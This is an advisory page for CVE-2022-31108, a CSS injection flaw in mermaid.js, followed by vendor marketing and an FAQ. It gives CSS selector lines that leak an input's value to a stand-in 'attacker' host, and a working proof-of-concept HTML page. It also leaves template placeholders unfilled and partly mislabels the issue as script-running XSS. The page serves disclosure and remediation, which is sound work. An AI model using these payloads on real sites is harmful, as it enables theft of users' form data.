Summary
Possible inject arbitrary CSS into the generated graph affecting the container HTML
An attacker is able to inject arbitrary CSS into the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially crafted CSS selectors.
The following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the value attribute one character at a time. Whenever there is an actual match, an http request will be made by the browser in order to "load" a background image that will let an attacker know what's the value of the character.
input[name=secret][value^=g] { background-image: url(http://attacker/?char=g); }
...
input[name=secret][value^=go] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goo] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goos] { background-image: url(http://attacker/?char=s); }
...
input[name=secret][value^=goose] { background-image: url(http://attacker/?char=e); }
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
References
Are there any links users can visit to find out more?
For more information
If you have any questions or comments about this advisory:
- Open an issue in example link to repo
- Email us at example email address
Product
mermaid.js
Tested Version
Details
Issue 1: Multiple CSS Injection (GHSL-2022-036)
By supplying a carefully crafted textColor theme variable, an attacker can inject arbitrary CSS rules into the document. In the following snippet we can see that getStyles does not sanitize any of the theme variables leaving the door open for CSS injection.
Snippet from src/styles.js:
const getStyles = (type, userStyles, options) => {
return ` {
font-family: ${options.fontFamily};
font-size: ${options.fontSize};
fill: ${options.textColor}
}
For example, if we set textColor to "green;} #target { background-color: crimson }" the resulting CSS will contain a new selector #target that will apply a crimson background color to an arbitrary element.
<html>
<body>
<div id="target">
<h1>This element does not belong to the SVG but we can style it</h1>
</div>
<svg id="diagram">
</svg>
<script src="https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js"></script>
<script>
mermaid.initialize({ startOnLoad: false });
const graph =
`
%%{ init: { "themeVariables" : { "textColor": "green;} #target { background-color: crimson }" } } }%%
graph TD
A[Goose]
`
const diagram = document.getElementById("diagram")
const svg = mermaid.render('diagram-svg', graph)
diagram.innerHTML = svg
</script>
</body>
</html>
In the proof of concept above we used the textColor variable to inject CSS, but there are multiple functions that can potentially be abused to change the style of the document. Some of them are in the following list but we encourage mantainers to look for additional injection points:
- https://github.com/mermaid-js/mermaid/blob/5d30d465354f804e361d7a041ec46da6bb5d583b/src/mermaidAPI.js#L393
- https://github.com/mermaid-js/mermaid/blob/5d30d465354f804e361d7a041ec46da6bb5d583b/src/styles.js#L35
Remediation
Ensure that user input is adequately escaped before embedding it in CSS blocks.
Impact
This issue may lead to Information Disclosure via CSS selectors and functions able to generate HTTP requests. This also allows an attacker to change the document in ways which may lead a user to perform unintended actions, such as clicking on a link, etc.
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
CVE-2022-31108 has a CVSS score of 4.1 (Medium). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (9.1.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Has the problem been patched? What versions should users upgrade to?
Frequently Asked Questions
- What is CVE-2022-31108? CVE-2022-31108 is a medium-severity cross-site scripting (XSS) vulnerability in mermaid (npm), affecting versions >= 8.0.0, < 9.1.2. It is fixed in 9.1.2. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- How severe is CVE-2022-31108? CVE-2022-31108 has a CVSS score of 4.1 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of mermaid are affected by CVE-2022-31108? mermaid (npm) versions >= 8.0.0, < 9.1.2 is affected.
- Is there a fix for CVE-2022-31108? Yes. CVE-2022-31108 is fixed in 9.1.2. Upgrade to this version or later.
- Is CVE-2022-31108 exploitable, and should I be worried? Whether CVE-2022-31108 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2022-31108 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2022-31108? Upgrade
mermaidto 9.1.2 or later.